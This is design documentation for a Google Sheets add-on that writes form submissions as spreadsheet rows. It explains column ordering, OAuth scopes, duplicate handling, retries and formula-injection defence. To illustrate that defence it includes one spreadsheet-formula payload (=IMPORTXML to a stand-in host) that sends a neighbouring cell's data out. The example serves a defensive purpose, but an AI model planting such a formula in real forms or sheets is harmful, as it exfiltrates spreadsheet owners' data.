Google Sheets

Paid add-on. Every submission adds one row to a tab of a Google spreadsheet, in the column order you decide.

This document describes what the module guarantees and what it refuses. The user guide gives the short version, under “Sending answers to a Google spreadsheet”.

A spreadsheet has no fields: it has positions

The whole module rests on that sentence.

A CRM receives email => camille@example.test: the name travels with the value, and the order does not matter. A spreadsheet receives A2 = camille@example.test. If the mapping changes, the value does not change name — it changes column, and the rows already written stay where they are.

Hence a setting that is an ordered list, and not a mapping table. The first field mapped becomes A, the second B. Reordering an already populated spreadsheet remains possible, but it is a visible act, not a side effect.

A field deleted from the form leaves its column empty. That is the same rule seen from the other side: removing the column would shift all the following ones, and the rows already written would not shift with them. Every value would end up under the wrong header — a spreadsheet whose columns lie is worse than a spreadsheet with a hole. The screen shows the empty column and offers to remap it.

Twenty-six columns at most, A to Z. Beyond that, a spreadsheet of answers is no longer what you consult; it is an export you filter, and the CSV export does that better.

No answer ever becomes a formula

That is the defence that matters most here, and it rests on one parameter: valueInputOption=RAW.

With USER_ENTERED — the value the API takes if you say nothing to the contrary — Google interprets what it receives as though somebody had typed it. A visitor who writes =IMPORTXML("https://elsewhere.test/collect?x="&A2,"//a") in a text field gets a live formula in the client’s spreadsheet: it runs on opening, from the client’s Google account, and it takes the neighbouring cell with it.

RAW writes the text. The spreadsheet shows =IMPORTXML(…) and does nothing else.

File, signature, payment and password fields never go out, even if forcibly mapped to a column: an upload address is permanent access to the file, and a spreadsheet is shared in one click. Fields marked sensitive are already set aside upstream, by the value formatting common to every integration.

The scope requested depends on who creates the spreadsheet

Google offers nothing between “no access” and spreadsheets, which covers every spreadsheet in the account. There is no “that particular spreadsheet” scope.

The connection therefore asks for both scopes: spreadsheets, without which designating an existing spreadsheet is impossible, and drive.file, which covers the files created by the application. The screen writes it out in full rather than having it accepted without naming it, and names the two ways of keeping things narrow:

Let the module create the spreadsheet. A file it created falls under drive.file: even if the authorisation carries the broad scope, there is nothing else to target, and the creation button is on the screen, under the banner.

Dedicate a Google account to the integration. That is the same problem taken from the other end: the scope stays broad, but the account contains only what you put in it. That is the usual answer when the spreadsheet already exists.

The header is written once, before the first row

A header written on every send would scatter title rows through the data. A header written “if the sheet is empty” would query the sheet on every submission, for a question whose answer changes only once.

The module therefore remembers that it has already written to this spreadsheet and this tab, and writes the header only before the first data row. Changing tab writes a new one; coming back to a tab already fed does not.

The header carries the field labels as they were when it was written. Renaming a field afterwards does not rewrite the header: the rows already there were written under the old name, and rewriting it would make them retroactively wrong.

One submission, one row — and the guarantee is local

Sheets has no key, no uniqueness constraint and no “add if absent” operation. The API accepts as many identical rows as you send it. Idempotence therefore cannot come from the spreadsheet: it comes from here.

UNIQUE (submission) on the tracking table, and a row claim — UPDATE … WHERE state <> 'written' with a time lease — which decides which of two crossing tasks actually writes. Two tasks cross as soon as a Google response takes longer than the retry interval, which happens.

One case remains that nothing local covers: the row is written, then the response is lost. There, the task believes it failed and replays; the spreadsheet has two rows. That — and nothing else — is what the optional technical column is for: it carries a reference per submission, slf-<site>-<number>, which makes the duplicate spottable with one sort. The number alone would not be enough: two sites feeding the same spreadsheet both have a submission number 42.

What is not attempted, and what is retried

Nothing is scheduled if the connection is missing, if no column is mapped, if the tab is empty, or if the form’s condition is not met. A submission marked as spam does not go out, even if the task was already queued.

Definitive refusals are not replayed: 404 for a spreadsheet deleted or moved out of reach, 403 for a withdrawn share. Every retry would consume the client’s API quota to obtain the same refusal, and the submission’s screen carries the reason.

429 and 5xx are, at 1, 5 then 30 minutes. Google returns a lot of 429: its limit is per minute, and a burst of submissions crosses it without anything having gone wrong.

A 401 earns an immediate session renewal, then a second attempt — once, not in a loop.

A Google outage never blocks the submission. It is recorded, confirmed to the visitor and notified by email before this module is called on; the spreadsheet row comes afterwards, and its failure is visible only in the delivery log.

The tab’s name goes into the address called

After the range, and an apostrophe or an exclamation mark there would change the range targeted. Names containing [ ] * ? : / \ ' are therefore refused on saving — Google forbids them itself, as it happens, but its 400 says nothing about the name.

The spreadsheet’s id is extracted from the address you paste: https://docs.google.com/spreadsheets/d/<id>/edit and the bare id are both accepted, because that is the address you have to hand.

The list of tabs is read by an admin route reserved for configuring the add-on. It explicitly asks for the titles only: reading the tabs is not reading the sheet.

What the log does not contain

Neither the values sent nor the tokens. The delivery log outlives the submission; it carries the state, the range written and the reason for any refusal.

Schema

slf_sheets_rows: one row per submission, with the spreadsheet, the tab, the range written, the reference, the state, the reason for the last problem and the number of attempts. It disappears with the submission.

The connection lives in an option, tokens encrypted with a key of the integration’s own — distinct from the Google Drive storage one, so that breaking one does not open the other’s tokens.

What V1 does not do

No updating of an existing row — a submission modified here does not rewrite its row over there. Deleting a submission here erases its tracking row, not its row over there: the spreadsheet is a register, and erasing a row in the middle would shift everything after it for whoever put formulas alongside. No reading, no more than twenty-six columns, and no several tabs per form.